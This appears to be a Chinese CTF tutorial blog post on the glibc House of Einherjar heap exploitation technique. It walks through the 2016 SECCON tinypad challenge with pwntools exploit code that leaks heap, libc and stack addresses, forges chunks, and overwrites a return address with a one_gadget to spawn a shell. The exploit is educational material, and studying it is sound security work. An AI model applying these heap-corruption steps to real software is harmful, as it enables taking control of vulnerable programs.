【PWN学习之House of 系列】House Of Einherjar

写在前面

路线的学习一下 glibc 堆利用的 house of 系列利用手法。
主要参考以下文章以及文章中涉及的连接。
https://roderickchan.github.io/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation

简介

漏洞成因

溢出写、off by one、off by null

适用范围

  • 2.23—— 至今
  • 可分配大于处于 unsortedbin 的 chunk

利用原理

利用 off by null 修改掉 chunk 的 size 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping。

  1. 申请 chunk A、chunk B、chunk C、chunk D,chunk D 用来做隔离,chunk A、chunk C 都要处于 unsortedbin 范围
  2. 释放 A,进入 unsortedbin
  3. 对 B 写操作的时候存在 off by null,修改了 C 的 P 位
  4. 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
  5. 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头

利用效果

构造 chunk overlap 后,可以任意地址分配
结合其他方法进行任意地址读写

个人理解

  1. 绕过unlink检查会比较繁琐

例题讲解

题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/house-of-einherjar/2016_seccon_tinypad

检查保护

64位程序,Full RELRO表明程序got表不可写,未开启PIE,全局变量地址已知
在这里插入图片描述

分析程序流程

程序只允许最大同时有4个堆块且不超过0x100

read_until存在off by null的漏洞
在这里插入图片描述
free后,只是将size置为零,未将数组内的指针置为0,存在UAF漏洞
在这里插入图片描述
edit功能中没有对堆的长度做检查,这里存在堆溢出漏洞(不仅仅是off by null)由于size为0x100,我们堆溢出最多覆盖下一个堆的两个字节。
在这里插入图片描述

patch 程序

将程序patch为libc 2.23

漏洞利用

  1. 堆布局

    madd(1,0x40,b"a"*0x18)
    madd(2,0x40,payload)
    madd(3,0xf0,b"a"*0x18)
    madd(4,0x100,b"a"*0xff)
    

    在这里插入图片描述

  2. free chunk1、chunk2、chunk3
    注意顺序,因为堆存在页对齐,故chunk1的地址必定是0xxxxx000,存在\x00截断,所以泄漏不出来chunk1的地址

    mfree(2) # 
    mfree(1)
    mfree(3)
    p.recvuntil("INDEX: 1")
    p.recvuntil("CONTENT: ")
    heap_2_addr = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))
    p.recvuntil("INDEX: 3")
    p.recvuntil("CONTENT: ")
    libc_base = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))-0x3c3b78
    main_arena_88 = libc_base+0x3c3b78
    environ_addr = libc_base + libc.sym['__environ']
    system_addr = libc_base+ libc.sym['system']
    bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
    

    在这里插入图片描述

  3. 伪造offset
    因为libc2.23的unlink检查

    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
    malloc_printerr ("corrupted size vs. prev_size");
    // 检查 fd 和 bk 指针(双向链表完整性检查)
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    

    在这里插入图片描述
    其中 offset= chunk3-target
    由于存在\x00截断,所以offset需要倒着写

    heap_array = 0x602040
    target_addr = 0x602060
    offset = heap_2_addr - target_addr +0x50
    madd(1,0x48,b"a"*0x47)
    madd(2,0x48,b"b"*0x48)
    madd(3,0xf0,"c"*0xf0)
    payload = b"j"*0x48+p64(0x100)
    medit(2,payload) # 溢出清除preuse=0
    len_of_zero  =(16-len(str(hex(offset)))+2)//2
    for i in range(0,len_of_zero):medit(2,b"a"*(0x48-i)) 
    payload1 = b'j'*0x40 + p64(offset)
    medit(2,payload1) # 填写offset
    

    在这里插入图片描述

  4. 伪造target chunk

    payload = b"a"*0x20+b"a"*8+p64(0x101)+p64(target_addr)*2
    medit(1,payload)
    mfree(3)
    

    在这里插入图片描述
    我们的目标地址已经进入unsortedbin,但是该chunk的size太大还需要改回来
    在这里插入图片描述

    len_of_zero  =(16-len(str(hex(0x101)))+2)//2
    for i in range(0,len_of_zero):medit(1,b"d"*(0x30-i)) 
    payload2 = b"k"*0x20+b"a"*8+p64(0x101)
    medit(1,payload2)
    

    在这里插入图片描述

  5. 修改栈地址,get shell
    当我们再申请一个0xf8大小的堆块时,程序就会把tinypad+0x20处的地址返回给我们了。我们就可以修改从tinypad+0x20开始,0xf0大小的数据,tinypad+0x100处存储了第一个堆块的size和ptr,tinypad+0x110处存储了第二个堆块的size和ptr。这两个堆块的ptr我们已经可以进行修改了。
    由于malloc_hook处的值是0,我们无法通过edit的方式把onegadget写入malloc_hook(因为malloc_hook的strlen是0,无法读入数据)。那么我们就可以通过修改函数的返回地址为onegadget。
    修改函数的返回地址需要把程序保存返回地址的位置的值修改掉。我们需要泄露栈地址。libc中有一个符号’environ’存储了栈中的一个地址。我们可以利用它来得到栈地址。
    将chunk1的地址改成environ的地址,目的是通过show得到environ中的数据(一个栈地址)。将chunk2的地址改成保存chunk1的地址处的地址(0x602148),目的是方便修改chunk1的指针值。

    payload = b"a"*0xd0+b"b"*8+p64(environ_addr)+ p64(0x100) + p64(0x602148)
    # tinypad index2 存的是index1 的heap地址,如果edit2就相当于改了edit1的heap地址
    madd(3,0xf0,payload) # environ存储的栈地址读出来
    offset  = 0xf0 # 调试得来
    p.recvuntil("INDEX: 1")
    p.recvuntil("CONTENT: ")stack_addr = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))# 获取栈地址

    在这里插入图片描述

    
    stack_next_hop_addr = stack_addr - offset
    payload = p64(stack_next_hop_addr)
    log.info('heap_2_addr:0x%x'%(heap_2_addr))
    log.info('offset:0x%x'%(offset))
    log.info('environ_addr:0x%x'%(environ_addr))
    log.info('libc_addr:0x%x'%(libc_base))
    log.info('stack_addr:0x%x'%(stack_addr))
    log.info('stack_next_hop_addr:0x%x'%(stack_next_hop_addr))
    log.info('bin_sh_addr:0x%x'%(bin_sh_addr))medit(2,payload) #index1 的heap addr 改为栈上的地址
    onegadget_addr = libc_base+onegadget_array[0]
    payload = p64(onegadget_addr)
    medit(1,payload) # 通过edit1,将栈上的返回地址改成onegadget,getshell
    

    在这里插入图片描述
    将0x00007fffffffddb8指向的值改为 onegedget地址,getshell
    在这里插入图片描述

TODO

  • 在高版本glibc下的绕过unlink检查

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/314958.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

树莓派4B-Python使用PyCharm的SSH协议在电脑上远程编辑程序

目录 前言一、pycharm的选择二、添加SSH的解释器使用总结 前言 树莓派的性能始终有限,不好安装与使用高级一点的程序编辑器,如果只用thonny的话,本人用得不习惯,还不如PyCharm,所以想着能不能用电脑中的pycharm来编写…

一、Linux内核介绍

欢迎关注博主 Mindtechnist 或加入【智能科技社区】一起学习和分享Linux、C、C、Python、Matlab,机器人运动控制、多机器人协作,智能优化算法,滤波估计、多传感器信息融合,机器学习,人工智能等相关领域的知识和技术。关…

目标检测-One Stage-SSD

文章目录 前言一、SSD的网络结构和流程二、SSD的创新点总结 前言 根据前文目标检测-One Stage-YOLOv1可以看出YOLOv1的主要缺点是: 每个格子针对目标框的回归是不加限制的,导致目标的定位并不是很精准和Faster RCNN等先进Two Stage算法相比&#xff0c…

Unity之地形的构建

PS:公司没活干,好无聊偷偷摸鱼学Unity,害怕自己学完之后忘记,写下这一篇博客 先来看一下效果图:有山有水有树有草地 创建一个新的Unity3D项目 这里要用到Unity官方的免费资源包(现在好像已经下架了百度网盘…

如何在iPhone设备中查看崩溃日志

​ 目录 如何在iPhone设备中查看崩溃日志 摘要 引言 导致iPhone设备崩溃的主要原因是什么? 使用克魔助手查看iPhone设备中的崩溃日志 奔溃日志分析 总结 摘要 本文介绍了如何在iPhone设备中查看崩溃日志,以便调查崩溃的原因。我们将展示三种不同的…

【华为机试】2023年真题B卷(python)-计算疫情扩散时间

一、题目 题目描述: 请根据给定的地图计算,多少天以后,全部区域都会被感染。 如果初始地图上所有区域全部都被感染,或者没有被感染区域,返回-1 二、输入输出 输入描述: 一行N*N个数字(只包含0,1&#xff0c…

分布式【Zookeeper】

1.1 ZooKeeper 是什么 ZooKeeper 是 Apache 的顶级项目。ZooKeeper 为分布式应用提供了高效且可靠的分布式协调服务,提供了诸如统一命名服务、配置管理和分布式锁等分布式的基础服务。在解决分布式数据一致性方面,ZooKeeper 并没有直接采用 Paxos 算法&…

SQL常见面试题

今天刷了一遍牛客里的必知必会题,一共50道题,大部分都比较基础,下面汇总一下易错题。 SQL81 顾客登录名 本题几个关键点: 登录名是其名称和所在城市的组合,因此需要使用substring()和concat()截取和拼接字段。得到登…

电池管理系统BMS中SOC算法通俗解析(二)

下面简单介绍下我们BMS保护板使用的SOC估算方法。我们算法的主要是针对电流积分法计算SOC的局限性进行改进: ●电池包第一次上电使用开路电压法估算SOC。第一次上电,根据电池包厂家给出的电压和剩余容量二维关系图大概估算出目前电池包的剩余容量即SOC。…

python3 识别人像照片并纠正照片正反

实现效果: 本程序可以将下图第二张照片进行人脸识别,发现相片是否是正向,如果不是就进行相片转正形成下图第一张图。 代码 安装配置 模型下载 首先在我的这篇文件下载相应的人脸识别模型,一般 64标记点就够用,当然…

PHP 基础编程 (1)

文章目录 前后端交互尝试php简介php版本php 基础语法php的变量前后端交互 - 计算器体验php数据类型php的常量和变量的区别php的运算符算数运算符自增自减比较运算符赋值运算符逻辑运算 php的控制结构ifelseelse if 前后端交互尝试 前端编程语言:JS (Java…

Java智慧校园源码,SaaS云平台,私有云部署,移动端小程序使用小程序原生语言开发

系统概述: 电子班牌系统又称之为智慧班牌,是当前校园数字化信息化建设、文化建设的主流,是校园日常工作安排、校园信息发布、班级文化风采展示、课堂交流的重要应用载体。智慧班牌系统在传统信息发布和校园文化展示功能基础上,融…